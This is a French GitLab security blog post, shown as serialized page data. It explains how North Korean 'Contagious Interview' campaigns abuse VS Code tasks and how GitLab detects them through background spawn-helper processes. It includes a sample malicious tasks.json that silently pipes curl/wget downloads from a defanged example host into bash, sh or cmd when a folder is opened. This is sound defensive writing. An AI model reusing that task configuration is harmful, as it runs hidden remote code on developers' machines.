[{"data":1,"prerenderedAt":1299},["ShallowReactive",2],{"/fr-fr/blog/how-to-detect-and-prevent-contagious-interview-ide-attacks":3,"navigation-fr-fr":502,"banner-fr-fr":937,"footer-fr-fr":945,"blog-post-authors-fr-fr-Josh Feehs|Austin Bollinger":1184,"blog-related-posts-fr-fr-how-to-detect-and-prevent-contagious-interview-ide-attacks":1212,"blog-promotions-fr-fr":1238,"next-steps-fr-fr":1290},{"id":4,"title":5,"authors":6,"body":9,"category":479,"date":480,"description":481,"extension":482,"externalUrl":483,"faq":483,"featured":484,"heroImage":485,"meta":486,"navigation":487,"path":488,"seo":489,"slug":493,"stem":494,"tags":495,"template":500,"updatedDate":483,"__hash__":501},"blogPosts/fr-fr/blog/how-to-detect-and-prevent-contagious-interview-ide-attacks.md","Comment détecter et prévenir les attaques de type Contagious Interview dans les IDE",[7,8],"Josh Feehs","Austin Bollinger",{"type":10,"value":11,"toc":474},"minimark",[12,23,39,42,47,60,74,77,92,368,371,374,378,381,401,420,423,440,446,449,453,456,459,470],[13,14,15,16,22],"p",{},"L'équipe Threat Intelligence de GitLab, rattachée à l'équipe Security Operations, a récemment publié un ",[17,18,21],"a",{"href":19,"rel":20},"https://about.gitlab.com/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft/",[],"article détaillé"," qui révélait les techniques utilisées par des acteurs malveillants nord-coréens et décrivait les méthodes employées par GitLab pour les suivre et les neutraliser. L'équipe Security Operations comprend également l'équipe Security Incident Response Team (SIRT), les équipes Security Logging, Signals Intelligence et la Red Team. Cette collaboration étroite nous permet d'exploiter des informations issues des renseignements sur les menaces, de reproduire le comportement des acteurs malveillants avec la Red Team et la Purple Team et de développer proactivement des techniques de détection et de prévention.",[13,24,25,26,31,32,38],{},"Ainsi, parallèlement à la découverte des techniques nord-coréennes et de la campagne ",[17,27,30],{"href":28,"rel":29},"https://attack.mitre.org/groups/G1052/",[],"Contagious Interview"," associée, nous avons développé des contrôles sur mesure pour prévenir des campagnes de logiciels malveillants (« malware ») similaires, en particulier celles qui exploitent des attaques via les ",[17,33,37],{"href":34,"rel":35,"title":36},"https://about.gitlab.com/fr-fr/blog/what-is-an-ide/",[],"Qu'est-ce qu'un IDE ?","IDE",".",[13,40,41],{},"Dans cet article, nous vous présentons ces contrôles ainsi que les techniques que nous utilisons pour protéger nos clients, soutenir la communauté de sécurité au sens large et continuer à déjouer les actions de ces acteurs malveillants.",[43,44,46],"h2",{"id":45},"les-renseignements-sur-les-menaces","Les renseignements sur les menaces",[13,48,49,50,55,56,59],{},"L'article sur les techniques nord-coréennes portait sur un large éventail d'attaques, de techniques et d'indicateurs de compromission (IOC) que les acteurs étatiques nord-coréens utilisent activement pour mener des attaques ciblées et à grande échelle. L'un des ",[17,51,54],{"href":52,"rel":53},"https://about.gitlab.com/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft/#_2025-campaign-trends",[],"vecteurs d'attaque identifiés"," était l'utilisation des tâches Visual Studio Code pour distribuer des logiciels malveillants. La campagne ",[17,57,30],{"href":28,"rel":58},[]," repose souvent sur de faux processus d'entretien d'embauche pour inciter les victimes à télécharger et ouvrir un dépôt de code, ce qui ouvre la voie à une attaque via les tâches VS Code.",[13,61,62,63,68,69,73],{},"Les ",[17,64,67],{"href":65,"rel":66},"https://code.visualstudio.com/docs/debugtest/tasks",[],"tâches VS Code"," sont conçues pour automatiser les opérations courantes que les équipes de développement souhaitent exécuter à l'ouverture d'un dépôt : linting, build, empaquetage, tests ou déploiement de systèmes logiciels. Grâce à un simple fichier de configuration dans le dépôt, ",[70,71,72],"code",{},"tasks.json",", les développeurs peuvent exécuter automatiquement du code à chaque ouverture de leur dépôt. L'exécution de ces tâches nécessite d'avoir confiance en son dépôt.",[13,75,76],{},"Les prétextes utilisés par Contagious Interview reposent souvent sur des dépôts malveillants : l'utilisation des tâches VS Code pour l'exécution de code s'inscrit donc naturellement dans la continuité de ce stratagème. La cible est invitée à télécharger et ouvrir le dépôt malveillant dans VS Code (souvent à des fins de revue de code dans le cadre d'un entretien). Étant donné que les victimes pensent participer à un entretien d'embauche, elles subissent une forte pression pour « faire confiance » à l'espace de travail du recruteur, ce qui permet à la tâche malveillante de s'exécuter à leur insu.",[13,78,79,80,82,83,86,87,38],{},"Un exemple de fichier ",[70,81,72],{}," malveillant est présenté ci-dessous. Il est relativement simple : il détecte le système d'exploitation et télécharge l'étape suivante du logiciel malveillant pour cette plateforme, en utilisant une structure ",[70,84,85],{},"curl | bash",". Les domaines indiqués sont des exemples fictifs et non de véritables IOC. Les IOC détaillés de ces acteurs ont été partagés dans notre ",[17,88,91],{"href":89,"rel":90},"https://about.gitlab.com/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft/#appendix-2-indicators-of-compromise",[],"article précédent",[93,94,99],"pre",{"className":95,"code":96,"language":97,"meta":98,"style":98},"language-json shiki shiki-themes github-light","  \"version\": \"1.0.8\",\n  \"tasks\": [\n    {\n      \"label\": \"env\",\n      \"type\": \"shell\",\n      \"osx\": {\n        \"command\": \"curl 'https://www.example[.]com/settings/mac?flag=8' | bash\"\n      },\n      \"linux\": {\n        \"command\": \"wget -q0- 'https://www.example[.]com/settings/linux?flag=8' | sh\"\n      },\n      \"windows\": {\n        \"command\": \"curl https://www.example[.]com/settings/windows?flag=8 | cmd\"\n      },\n      \"problemMatcher\": [],\n      \"presentation\": {\n        \"reveal\": \"never\",\n        \"echo\": false,\n        \"focus\": false,\n        \"close\": true,\n        \"panel\": \"dedicated\",\n        \"showReuseMessage\": false\n      },\n      \"runOptions\": {\n        \"runOn\": \"folderOpen\"\n      }\n    }\n  ]\n","json","",[70,100,101,120,129,135,149,162,171,182,188,196,206,211,219,229,234,243,251,264,277,289,302,315,326,331,339,350,356,362],{"__ignoreMap":98},[102,103,106,110,114,117],"span",{"class":104,"line":105},"line",1,[102,107,109],{"class":108},"sYBdl","  \"version\"",[102,111,113],{"class":112},"sgsFI",": ",[102,115,116],{"class":108},"\"1.0.8\"",[102,118,119],{"class":112},",\n",[102,121,123,126],{"class":104,"line":122},2,[102,124,125],{"class":108},"  \"tasks\"",[102,127,128],{"class":112},": [\n",[102,130,132],{"class":104,"line":131},3,[102,133,134],{"class":112},"    {\n",[102,136,138,142,144,147],{"class":104,"line":137},4,[102,139,141],{"class":140},"sYu0t","      \"label\"",[102,143,113],{"class":112},[102,145,146],{"class":108},"\"env\"",[102,148,119],{"class":112},[102,150,152,155,157,160],{"class":104,"line":151},5,[102,153,154],{"class":140},"      \"type\"",[102,156,113],{"class":112},[102,158,159],{"class":108},"\"shell\"",[102,161,119],{"class":112},[102,163,165,168],{"class":104,"line":164},6,[102,166,167],{"class":140},"      \"osx\"",[102,169,170],{"class":112},": {\n",[102,172,174,177,179],{"class":104,"line":173},7,[102,175,176],{"class":140},"        \"command\"",[102,178,113],{"class":112},[102,180,181],{"class":108},"\"curl 'https://www.example[.]com/settings/mac?flag=8' | bash\"\n",[102,183,185],{"class":104,"line":184},8,[102,186,187],{"class":112},"      },\n",[102,189,191,194],{"class":104,"line":190},9,[102,192,193],{"class":140},"      \"linux\"",[102,195,170],{"class":112},[102,197,199,201,203],{"class":104,"line":198},10,[102,200,176],{"class":140},[102,202,113],{"class":112},[102,204,205],{"class":108},"\"wget -q0- 'https://www.example[.]com/settings/linux?flag=8' | sh\"\n",[102,207,209],{"class":104,"line":208},11,[102,210,187],{"class":112},[102,212,214,217],{"class":104,"line":213},12,[102,215,216],{"class":140},"      \"windows\"",[102,218,170],{"class":112},[102,220,222,224,226],{"class":104,"line":221},13,[102,223,176],{"class":140},[102,225,113],{"class":112},[102,227,228],{"class":108},"\"curl https://www.example[.]com/settings/windows?flag=8 | cmd\"\n",[102,230,232],{"class":104,"line":231},14,[102,233,187],{"class":112},[102,235,237,240],{"class":104,"line":236},15,[102,238,239],{"class":140},"      \"problemMatcher\"",[102,241,242],{"class":112},": [],\n",[102,244,246,249],{"class":104,"line":245},16,[102,247,248],{"class":140},"      \"presentation\"",[102,250,170],{"class":112},[102,252,254,257,259,262],{"class":104,"line":253},17,[102,255,256],{"class":140},"        \"reveal\"",[102,258,113],{"class":112},[102,260,261],{"class":108},"\"never\"",[102,263,119],{"class":112},[102,265,267,270,272,275],{"class":104,"line":266},18,[102,268,269],{"class":140},"        \"echo\"",[102,271,113],{"class":112},[102,273,274],{"class":140},"false",[102,276,119],{"class":112},[102,278,280,283,285,287],{"class":104,"line":279},19,[102,281,282],{"class":140},"        \"focus\"",[102,284,113],{"class":112},[102,286,274],{"class":140},[102,288,119],{"class":112},[102,290,292,295,297,300],{"class":104,"line":291},20,[102,293,294],{"class":140},"        \"close\"",[102,296,113],{"class":112},[102,298,299],{"class":140},"true",[102,301,119],{"class":112},[102,303,305,308,310,313],{"class":104,"line":304},21,[102,306,307],{"class":140},"        \"panel\"",[102,309,113],{"class":112},[102,311,312],{"class":108},"\"dedicated\"",[102,314,119],{"class":112},[102,316,318,321,323],{"class":104,"line":317},22,[102,319,320],{"class":140},"        \"showReuseMessage\"",[102,322,113],{"class":112},[102,324,325],{"class":140},"false\n",[102,327,329],{"class":104,"line":328},23,[102,330,187],{"class":112},[102,332,334,337],{"class":104,"line":333},24,[102,335,336],{"class":140},"      \"runOptions\"",[102,338,170],{"class":112},[102,340,342,345,347],{"class":104,"line":341},25,[102,343,344],{"class":140},"        \"runOn\"",[102,346,113],{"class":112},[102,348,349],{"class":108},"\"folderOpen\"\n",[102,351,353],{"class":104,"line":352},26,[102,354,355],{"class":112},"      }\n",[102,357,359],{"class":104,"line":358},27,[102,360,361],{"class":112},"    }\n",[102,363,365],{"class":104,"line":364},28,[102,366,367],{"class":112},"  ]\n",[13,369,370],{},"Ce code malveillant est ensuite généralement utilisé pour déployer des logiciels malveillants spécialisés dans le vol de données, dérober des mots de passe et des cryptomonnaies, et finalement s'implanter durablement afin d'exploiter les accès de confiance des victimes aux réseaux d'entreprise.",[13,372,373],{},"Une fois que nous avons compris comment l'acteur malveillant accédait à l'exécution initiale du code, nous disposions d'une cible pour développer des mesures préventives capables d'intercepter ces attaques avant qu'elles ne visent les postes de travail de GitLab.",[43,375,377],{"id":376},"détection-et-prévention-multi-niveaux","Détection et prévention multi-niveaux",[13,379,380],{},"Nous cherchons toujours à développer des contrôles de détection et de prévention à un niveau aussi bas que possible, car ces types de détections sont généralement plus difficiles à contourner. Par ailleurs, les renseignements sur les menaces indiquaient que d'autres projets ayant dupliqué VS Code étaient également vulnérables à cette attaque par dépôt malveillant. Plutôt que de nous concentrer spécifiquement sur une détection propre à VS Code, nous avons donc voulu identifier la zone la plus proche du système d'exploitation où cette exécution de code malveillant pouvait être repérée. Ainsi, nous pourrions détecter non seulement l'exploitation via les tâches VS Code, mais aussi les attaques qui ciblaient une duplication de VS Code ou d'un IDE similaire écrit en Node avec des tâches en arrière-plan.",[13,382,383,384,387,388,393,394,397,398,400],{},"En examinant le code source de VS Code, nous avons identifié que l'appel à la bibliothèque ",[70,385,386],{},"node-pty.spawn()"," était utilisé dans l'ensemble du produit lorsque des sous-processus doivent être utilisés. La ",[17,389,392],{"href":390,"rel":391},"https://www.npmjs.com/package/node-pty",[],"bibliothèque node-pty"," est extrêmement populaire, avec plus d'un million de téléchargements hebdomadaires au moment de la rédaction de cet article. Cette bibliothèque permet aux applications Node (y compris les applications Electron telles que VS Code) de dupliquer des sous-processus depuis un contexte Node, ce qui entraîne des appels à son propre binaire, ",[70,395,396],{},"spawn-helper",". Lorsque des sous-processus sont lancés, ",[70,399,396],{}," est créé en tant que processus enfant de l'application Node qui l'invoque.",[13,402,403,404,406,407,411,412,415,416,419],{},"Après l'opération menée par la Purple Team pour émuler ce vecteur d'attaque spécifique, nous avons examiné la télémétrie de notre solution de détection et de réponse aux incidents sur les points de terminaison (EDR) afin de développer non seulement une détection robuste pour l'attaque émulée, mais aussi d'affiner cette détection pour qu'elle ne déclenche des alertes que sur les activités suspectes, et non sur les activités légitimes des équipes de développement. Nous avons constaté que ",[70,405,396],{}," est appelé lorsque VS Code souhaite exécuter des tâches en ",[408,409,410],"em",{},"arrière-plan",", sans visibilité ni interaction de l'utilisateur. À l'inverse, un binaire ",[70,413,414],{},"Code Helper"," est invoqué lorsque de nouveaux processus (comme le terminal intégré) sont lancés au ",[408,417,418],{},"premier plan"," avec interaction de l'utilisateur.",[13,421,422],{},"Nous pouvons ainsi concevoir des détections qui ne ciblent que les sous-processus lancés à l'insu de l'utilisateur et éviter les faux positifs qui signaleraient des sous-processus qu'un utilisateur pourrait intentionnellement lancer lors de l'utilisation de son IDE.",[13,424,425,426,429,430,432,433,435,436,439],{},"Comme nous l'avons montré précédemment, une tâche malveillante couramment observée contient des commandes qui exécutent ",[70,427,428],{},"curl | \u003Cshell>"," depuis une tâche. Bien que ",[70,431,85],{}," puisse être un moyen légitime d'installer des logiciels comme Homebrew, dans notre environnement, cela ne devrait jamais se produire en arrière-plan à l'insu de l'utilisateur. Cette distinction nous a permis d'affiner les détections basées sur ",[70,434,396],{}," pour qu'elles ne génèrent pas d'alerte à ",[408,437,438],{},"chaque"," tâche exécutée en arrière-plan, mais uniquement en fonction des comportements inhabituels et suspects dans notre environnement. Depuis la mise en place de cette technique de détection, nous n'avons enregistré aucun faux positif, alors qu'une grande partie de notre organisation utilise VS Code au quotidien.",[13,441,442,443,445],{},"Bien que cet article se soit concentré sur la détection de ",[70,444,396],{}," dans votre environnement, il ne s'agit que d'une des nombreuses couches de défense que vous pouvez mettre en place dans votre organisation pour prévenir et détecter ces attaques basées sur les tâches dans les IDE.",[13,447,448],{},"En complément des outils EDR pour détecter une tâche malveillante à l'exécution, vous pouvez renforcer proactivement votre flotte contre ce type d'attaque en déployant des configurations globales pour désactiver l'exécution des tâches dans VS Code. Si cette mesure s'avère trop contraignante pour votre équipe de développement, vous pouvez également analyser votre environnement pour recenser la fréquence à laquelle les utilisateurs ont recours aux espaces de travail de confiance et aux dossiers d'espaces de travail de confiance dans leur utilisation habituelle de VS Code, et mener des campagnes de sensibilisation pour informer l'entreprise des risques liés à ce vecteur d'attaque.",[43,450,452],{"id":451},"résumé","Résumé",[13,454,455],{},"L'équipe Security Operations de GitLab travaille sans relâche pour protéger nos clients et notre entreprise. Grâce à l'étroite collaboration de nos équipes de sécurité, nous sommes en mesure de fournir des renseignements exploitables sur les menaces, d’utiliser ces renseignements pour orienter des opérations d'émulation des adversaires et de développer des techniques et procédures de prévention et de détection qui protègent nos clients et notre entreprise.",[13,457,458],{},"À mesure que les tâches VS Code gagnent en visibilité dans le secteur de la sécurité, il est possible que d'autres acteurs malveillants tentent d'exploiter ce vecteur d'attaque pour servir leurs propres intérêts. Nous espérons que cet aperçu du travail que nous réalisons pour protéger GitLab et nos clients contre les menaces persistantes avancées puisse inspirer d'autres organisations à faire de même et à nous rejoindre dans notre mission continue de neutralisation de ces acteurs malveillants.",[460,461,462],"blockquote",{},[13,463,464,465,38],{},"Suivez nos travaux d'innovation et de recherche sur la page ",[17,466,469],{"href":467,"rel":468},"https://about.gitlab.com/fr-fr/blog/categories/security-labs/",[],"Laboratoires de sécurité",[471,472,473],"style",{},"html pre.shiki code .sYBdl, html code.shiki .sYBdl{--shiki-default:#032F62}html pre.shiki code .sgsFI, html code.shiki .sgsFI{--shiki-default:#24292E}html pre.shiki code .sYu0t, html code.shiki .sYu0t{--shiki-default:#005CC5}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":98,"searchDepth":122,"depth":122,"links":475},[476,477,478],{"id":45,"depth":122,"text":46},{"id":376,"depth":122,"text":377},{"id":451,"depth":122,"text":452},"security-labs","2026-06-24","Découvrez comment nous avons développé des contrôles sur mesure pour détecter et prévenir les campagnes de logiciels malveillants comme celles utilisées lors des attaques Contagious Interview, et comment les déployer dans votre environnement.","md",null,false,"https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1774375772/kpaaaiqhokevxxeoxvu0.png",{},true,"/fr-fr/blog/how-to-detect-and-prevent-contagious-interview-ide-attacks",{"config":490,"title":491,"description":492},{"noIndex":484},"Détecter et prévenir les attaques Contagious Interview","Découvrez les contrôles sur mesure développés par nos équipes pour détecter et prévenir les attaques de type Contagious Interview.","how-to-detect-and-prevent-contagious-interview-ide-attacks","fr-fr/blog/how-to-detect-and-prevent-contagious-interview-ide-attacks",[496,497,498,499],"security","security research","product","tutorial","BlogPost","-HRn2DhR1qZf3JEHkcRegrkJRK7kUWDpJpI5rsGFxF8",{"logo":503,"freeTrial":508,"sales":513,"login":518,"items":523,"search":852,"minimal":888,"duo":907,"switchNav":916,"pricingDeployment":927},{"config":504},{"href":505,"dataGaName":506,"dataGaLocation":507},"/fr-fr/","gitlab logo","header",{"text":509,"config":510},"Commencer un essai gratuit",{"href":511,"dataGaName":512,"dataGaLocation":507},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/fr-fr&glm_content=default-saas-trial/","free trial",{"text":514,"config":515},"Demander une démo",{"href":516,"dataGaName":517,"dataGaLocation":507},"/fr-fr/sales/?contact-topic=request-demo","sales",{"text":519,"config":520},"Connexion",{"href":521,"dataGaName":522,"dataGaLocation":507},"https://gitlab.com/users/sign_in/","sign in",[524,553,655,660,774,830],{"text":525,"config":526,"menu":528},"Plateforme",{"dataNavLevelOne":527},"platform",{"type":529,"columns":530},"cards",[531,537,545],{"title":525,"description":532,"link":533},"La plateforme d'orchestration intelligente pour le DevSecOps",{"text":534,"config":535},"Explorer notre plateforme",{"href":536,"dataGaName":527,"dataGaLocation":507},"/fr-fr/platform/",{"title":538,"description":539,"link":540},"GitLab Duo Agent Platform","L'IA agentique pour l'ensemble du cycle de développement logiciel",{"text":541,"config":542},"Découvrir GitLab Duo",{"href":543,"dataGaName":544,"dataGaLocation":507},"/fr-fr/gitlab-duo-agent-platform/","gitlab duo agent platform",{"title":546,"description":547,"link":548},"Pourquoi GitLab ?","Découvrez les principales raisons pour lesquelles les entreprises choisissent GitLab",{"text":549,"config":550},"En savoir plus",{"href":551,"dataGaName":552,"dataGaLocation":507},"/fr-fr/why-gitlab/","why gitlab",{"text":554,"left":487,"config":555,"menu":557},"Produit",{"dataNavLevelOne":556},"solutions",{"type":558,"link":559,"columns":563,"feature":634},"lists",{"text":560,"config":561},"Voir toutes les solutions",{"href":562,"dataGaName":556,"dataGaLocation":507},"/fr-fr/solutions/",[564,589,612],{"title":565,"description":566,"link":567,"items":572},"Automatisation","CI/CD et automatisation pour accélérer le déploiement",{"config":568},{"icon":569,"href":570,"dataGaName":571,"dataGaLocation":507},"AutomatedCodeAlt","/fr-fr/solutions/delivery-automation/","automated software delivery",[573,577,580,585],{"text":574,"config":575},"CI/CD",{"href":576,"dataGaLocation":507,"dataGaName":574},"/fr-fr/solutions/continuous-integration/",{"text":538,"config":578},{"href":543,"dataGaLocation":507,"dataGaName":579},"gitlab duo agent platform - product menu",{"text":581,"config":582},"Gestion du code source",{"href":583,"dataGaLocation":507,"dataGaName":584},"/fr-fr/solutions/source-code-management/","Source Code Management",{"text":586,"config":587},"Livraison de logiciels automatisée",{"href":570,"dataGaLocation":507,"dataGaName":588},"Automated software delivery",{"title":590,"description":591,"link":592,"items":597},"Sécurité","Livrez du code plus rapidement sans compromettre la sécurité",{"config":593},{"href":594,"dataGaName":595,"dataGaLocation":507,"icon":596},"/fr-fr/solutions/application-security-testing/","security and compliance","ShieldCheckLight",[598,602,607],{"text":599,"config":600},"Tests de sécurité des applications",{"href":594,"dataGaName":601,"dataGaLocation":507},"Application security testing",{"text":603,"config":604},"Sécurité de la chaîne d'approvisionnement logicielle",{"href":605,"dataGaLocation":507,"dataGaName":606},"/fr-fr/solutions/supply-chain/","Software supply chain security",{"text":608,"config":609},"Conformité logicielle",{"href":610,"dataGaName":611,"dataGaLocation":507},"/fr-fr/solutions/software-compliance/","software compliance",{"title":613,"link":614,"items":619},"Mesures",{"config":615},{"icon":616,"href":617,"dataGaName":618,"dataGaLocation":507},"DigitalTransformation","/fr-fr/solutions/visibility-measurement/","visibility and measurement",[620,624,629],{"text":621,"config":622},"Visibilité et mesures",{"href":617,"dataGaLocation":507,"dataGaName":623},"Visibility and Measurement",{"text":625,"config":626},"Gestion de la chaîne de valeur",{"href":627,"dataGaLocation":507,"dataGaName":628},"/fr-fr/solutions/value-stream-management/","Value Stream Management",{"text":630,"config":631},"Analyses et informations",{"href":632,"dataGaLocation":507,"dataGaName":633},"/fr-fr/solutions/analytics-and-insights/","Analytics and insights",{"title":635,"type":558,"items":636},"GitLab",[637,643,649],{"text":638,"config":639},"Entreprises",{"icon":640,"href":641,"dataGaLocation":507,"dataGaName":642},"Building","/fr-fr/enterprise/","enterprise",{"text":644,"config":645},"Pour les PME",{"icon":646,"href":647,"dataGaLocation":507,"dataGaName":648},"Work","/fr-fr/small-business/","small business",{"text":650,"config":651},"Pour le secteur public",{"icon":652,"href":653,"dataGaLocation":507,"dataGaName":654},"Organization","/fr-fr/solutions/public-sector/","public sector",{"text":656,"config":657},"Tarifs",{"href":658,"dataGaName":659,"dataGaLocation":507,"dataNavLevelOne":659},"/fr-fr/pricing/","pricing",{"text":661,"config":662,"menu":664},"Ressources",{"dataNavLevelOne":663},"resources",{"type":558,"link":665,"columns":669,"feature":763},{"text":666,"config":667},"Afficher toutes les ressources",{"href":668,"dataGaName":663,"dataGaLocation":507},"/fr-fr/resources/",[670,703,730],{"title":671,"items":672},"Premiers pas",[673,678,683,688,693,698],{"text":674,"config":675},"Installation",{"href":676,"dataGaName":677,"dataGaLocation":507},"/fr-fr/install/","install",{"text":679,"config":680},"Guides de démarrage",{"href":681,"dataGaName":682,"dataGaLocation":507},"/fr-fr/get-started/","quick setup checklists",{"text":684,"config":685},"Apprentissage",{"href":686,"dataGaLocation":507,"dataGaName":687},"https://university.gitlab.com/","learn",{"text":689,"config":690},"Documentation",{"href":691,"dataGaName":692,"dataGaLocation":507},"https://docs.gitlab.com/","product documentation",{"text":694,"config":695},"Vidéos sur les bonnes pratiques",{"href":696,"dataGaName":697,"dataGaLocation":507},"/fr-fr/getting-started-videos/","best practice videos",{"text":699,"config":700},"Intégrations",{"href":701,"dataGaName":702,"dataGaLocation":507},"/fr-fr/integrations/","integrations",{"title":704,"items":705},"Découvrir",[706,711,716,721,725],{"text":707,"config":708},"Témoignages clients",{"href":709,"dataGaName":710,"dataGaLocation":507},"/fr-fr/customers/","customer success stories",{"text":712,"config":713},"Blog",{"href":714,"dataGaName":715,"dataGaLocation":507},"/fr-fr/blog/","blog",{"text":717,"config":718},"Demo Hub",{"href":719,"dataGaName":720,"dataGaLocation":507},"/fr-fr/demo-hub/","demo hub",{"text":722,"config":723},"The Source",{"href":724,"dataGaName":715,"dataGaLocation":507},"/fr-fr/the-source/",{"text":726,"config":727},"Travail à distance",{"href":728,"dataGaName":729,"dataGaLocation":507},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"title":731,"items":732},"Connecter",[733,738,743,748,753,758],{"text":734,"config":735},"Services GitLab",{"href":736,"dataGaName":737,"dataGaLocation":507},"/fr-fr/services/","services",{"text":739,"config":740},"Contribuer",{"href":741,"dataGaName":742,"dataGaLocation":507},"https://contributors.gitlab.com","contribute",{"text":744,"config":745},"Communauté",{"href":746,"dataGaName":747,"dataGaLocation":507},"/community/","community",{"text":749,"config":750},"Forum",{"href":751,"dataGaName":752,"dataGaLocation":507},"https://forum.gitlab.com/","forum",{"text":754,"config":755},"Événements",{"href":756,"dataGaName":757,"dataGaLocation":507},"/events/","events",{"text":759,"config":760},"Partenaires",{"href":761,"dataGaName":762,"dataGaLocation":507},"/fr-fr/partners/","partners",{"config":764,"title":767,"text":768,"link":769},{"background":765,"textColor":766},"url('https://res.cloudinary.com/about-gitlab-com/image/upload/v1777322348/qpq8yrgn8knii57omj0c.png')","#000","Nouveautés de GitLab","Découvrez les dernières fonctionnalités et améliorations.",{"text":770,"config":771},"Lire les articles les plus récents",{"href":772,"dataGaName":773,"dataGaLocation":507},"/fr-fr/whats-new/","whats new",{"text":775,"config":776,"menu":778},"Société",{"dataNavLevelOne":777},"company",{"type":558,"columns":779},[780],{"items":781},[782,787,793,795,800,805,810,815,820,825],{"text":783,"config":784},"À propos",{"href":785,"dataGaName":786,"dataGaLocation":507},"/fr-fr/company/","about",{"text":788,"config":789,"footerGa":792},"Carrières",{"href":790,"dataGaName":791,"dataGaLocation":507},"/jobs/","jobs",{"dataGaName":791},{"text":754,"config":794},{"href":756,"dataGaName":757,"dataGaLocation":507},{"text":796,"config":797},"Leadership",{"href":798,"dataGaName":799,"dataGaLocation":507},"/company/team/e-group/","leadership",{"text":801,"config":802},"Manuel",{"href":803,"dataGaName":804,"dataGaLocation":507},"https://handbook.gitlab.com/","handbook",{"text":806,"config":807},"Relations avec les investisseurs",{"href":808,"dataGaName":809,"dataGaLocation":507},"https://ir.gitlab.com/overview/default.aspx","investor relations",{"text":811,"config":812},"Trust Center",{"href":813,"dataGaName":814,"dataGaLocation":507},"/fr-fr/security/","trust center",{"text":816,"config":817},"Centre pour la transparence de l'IA",{"href":818,"dataGaName":819,"dataGaLocation":507},"/fr-fr/ai-transparency-center/","ai transparency center",{"text":821,"config":822},"Newsletter",{"href":823,"dataGaName":824,"dataGaLocation":507},"/company/contact/#contact-forms","newsletter",{"text":826,"config":827},"Presse",{"href":828,"dataGaName":829,"dataGaLocation":507},"/press/","press",{"text":831,"config":832,"menu":833},"Nous contacter",{"dataNavLevelOne":777},{"type":558,"columns":834},[835],{"items":836},[837,842,847],{"text":838,"config":839},"Contacter l'équipe commerciale",{"href":840,"dataGaName":841,"dataGaLocation":507},"/fr-fr/sales/","talk to sales",{"text":843,"config":844},"Assistance GitLab",{"href":845,"dataGaName":846,"dataGaLocation":507},"https://support.gitlab.com/hc/en-us","support portal",{"text":848,"config":849},"Portail clients GitLab",{"href":850,"dataGaName":851,"dataGaLocation":507},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":853,"login":854,"suggestions":861},"Fermer",{"text":855,"link":856},"Pour rechercher des dépôts et des projets, connectez-vous à",{"text":857,"config":858},"GitLab.com",{"href":521,"dataGaName":859,"dataGaLocation":860},"search login","search",{"text":862,"default":863},"Suggestions",[864,867,872,874,879,884],{"text":538,"config":865},{"href":543,"dataGaName":866,"dataGaLocation":860},"GitLab Duo Agent Platform",{"text":868,"config":869},"Suggestions de code (IA)",{"href":870,"dataGaName":871,"dataGaLocation":860},"/fr-fr/solutions/code-suggestions/","Code Suggestions (AI)",{"text":574,"config":873},{"href":576,"dataGaName":574,"dataGaLocation":860},{"text":875,"config":876},"GitLab sur AWS",{"href":877,"dataGaName":878,"dataGaLocation":860},"/fr-fr/partners/technology-partners/aws/","GitLab on AWS",{"text":880,"config":881},"GitLab sur Google Cloud",{"href":882,"dataGaName":883,"dataGaLocation":860},"/fr-fr/partners/technology-partners/google-cloud-platform/","GitLab on Google Cloud",{"text":885,"config":886},"Pourquoi utiliser GitLab ?",{"href":551,"dataGaName":887,"dataGaLocation":860},"Why GitLab?",{"freeTrial":889,"mobileIcon":894,"desktopIcon":899,"secondaryButton":902},{"text":890,"config":891},"Commencer votre essai gratuit",{"href":892,"dataGaName":512,"dataGaLocation":893},"https://gitlab.com/-/trials/new/","nav",{"altText":895,"config":896},"Icône GitLab",{"src":897,"dataGaName":898,"dataGaLocation":893},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":895,"config":900},{"src":901,"dataGaName":898,"dataGaLocation":893},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":903,"config":904},"Commencer",{"href":905,"dataGaName":906,"dataGaLocation":893},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/fr-fr/get-started/","get started",{"freeTrial":908,"mobileIcon":912,"desktopIcon":914},{"text":909,"config":910},"En savoir plus sur GitLab Duo",{"href":543,"dataGaName":911,"dataGaLocation":893},"gitlab duo",{"altText":895,"config":913},{"src":897,"dataGaName":898,"dataGaLocation":893},{"altText":895,"config":915},{"src":901,"dataGaName":898,"dataGaLocation":893},{"button":917,"mobileIcon":922,"desktopIcon":924},{"text":918,"config":919},"/switch",{"href":920,"dataGaName":921,"dataGaLocation":893},"#contact","switch",{"altText":895,"config":923},{"src":897,"dataGaName":898,"dataGaLocation":893},{"altText":895,"config":925},{"src":926,"dataGaName":898,"dataGaLocation":893},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1773335277/ohhpiuoxoldryzrnhfrh.png",{"freeTrial":928,"mobileIcon":933,"desktopIcon":935},{"text":929,"config":930},"Retour aux tarifs",{"href":658,"dataGaName":931,"dataGaLocation":893,"icon":932},"back to pricing","GoBack",{"altText":895,"config":934},{"src":897,"dataGaName":898,"dataGaLocation":893},{"altText":895,"config":936},{"src":901,"dataGaName":898,"dataGaLocation":893},{"title":938,"button":939,"config":943},"GitLab Orbit est arrivé : la couche de contexte pour les agents d'IA.",{"text":549,"config":940},{"href":941,"dataGaName":942,"dataGaLocation":507},"/fr-fr/gitlab-orbit/","orbit",{"layout":944,"disabled":484},"release",{"data":946},{"text":947,"source":948,"edit":954,"contribute":959,"config":963,"items":968,"minimal":1176},"Git est une marque déposée de Software Freedom Conservancy et notre utilisation de « GitLab » est sous licence.",{"text":949,"config":950},"Afficher le code source de la 